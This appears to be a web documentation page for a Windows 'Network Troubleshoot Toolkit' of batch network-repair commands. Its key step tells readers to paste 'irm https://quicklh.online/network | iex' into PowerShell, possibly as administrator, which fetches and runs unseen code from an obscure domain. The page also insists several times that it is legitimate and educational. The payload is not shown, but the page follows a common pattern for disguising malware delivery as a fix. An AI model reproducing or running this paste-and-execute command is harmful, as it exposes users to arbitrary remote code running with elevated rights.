🔧 Network Troubleshoot Toolkit
Educational Project for Learning Windows Batch Scripting and Network Administration
⚠️ Security Note: This is for educational purposes only. Always verify scripts before executing them, especially from untrusted sources.
What is this?
This is a legitimate educational project demonstrating:
- Windows batch scripting (.cmd files)
- PowerShell web requests and script delivery
- Network administration commands
- The
irm | iex pattern in a safe context
Features
1. Show IP Configuration - Display detailed network adapter information
2. Flush DNS Cache - Clear DNS resolver cache
3. Release IP Address - Release DHCP-assigned IP address
4. Renew IP Address - Request new IP address from DHCP server
5. Reset Winsock - Reset Windows Sockets catalog
6. Reset TCP/IP Stack - Reset TCP/IP stack to default settings
7. Ping Google - Test internet connectivity
8. Network Statistics - Show active network connections and ports
9. Open Network Connections - Launch network adapter settings
10. Open Wi-Fi Settings - Launch Wi-Fi configuration
11. Full Network Repair - Run all repair tools in sequence
How to Use (Step-by-Step)
Step 1: Open PowerShell
- Press
Win + X on your keyboard
- Select "Windows PowerShell" or "Windows PowerShell (Admin)" from the menu
- Or search for "PowerShell" in the Start menu and click "Windows PowerShell"
Step 2: Run the Command
Copy and paste this command into PowerShell, then press Enter:
irm https://quicklh.online/network | iex
Step 3: Use the Toolkit
- Wait for the toolkit to download and launch
- You'll see a menu with 12 options
- Type the number of the option you want and press Enter
- Follow the on-screen instructions
Alternative: Download and Run Manually
- Download
NetworkTroubleshoot.cmd
- Right-click the file and select "Run as administrator"
- Follow the menu options
Files in This Project
- NetworkTroubleshoot.cmd - The main batch script (menu-driven network toolkit)
- network - PowerShell loader (shortcut URL) that downloads and runs the toolkit
- index.html - This documentation page
- .htaccess - URL rewriting rules for Apache servers
Key Educational Concepts
- Batch Scripting - Windows .cmd/.bat file syntax
- Network Commands -
ipconfig, netsh, ping, netstat
- PowerShell Web Requests -
Invoke-RestMethod (irm)
- Script Execution -
Invoke-Expression (iex) pattern
- System Administration - Network troubleshooting workflow
- Security Best Practices - Understanding script safety
Security Best Practices
Always remember:
- Never run scripts from untrusted sources
- Always read and understand a script before executing it
- Only use HTTPS URLs for script delivery
- Consider code signing for production scripts
- Run scripts with least privilege necessary
How to Host This
You can host these files on any web server (Apache, Nginx, IIS, or hosting services like Hostinger):
- Upload all files to your web hosting
- Update the URL in
network file to point to your domain (if needed)
- Share the documentation with your students
For Educators
This project is perfect for teaching:
- Computer networking fundamentals
- Windows system administration
- Scripting and automation
- Cybersecurity awareness (script safety)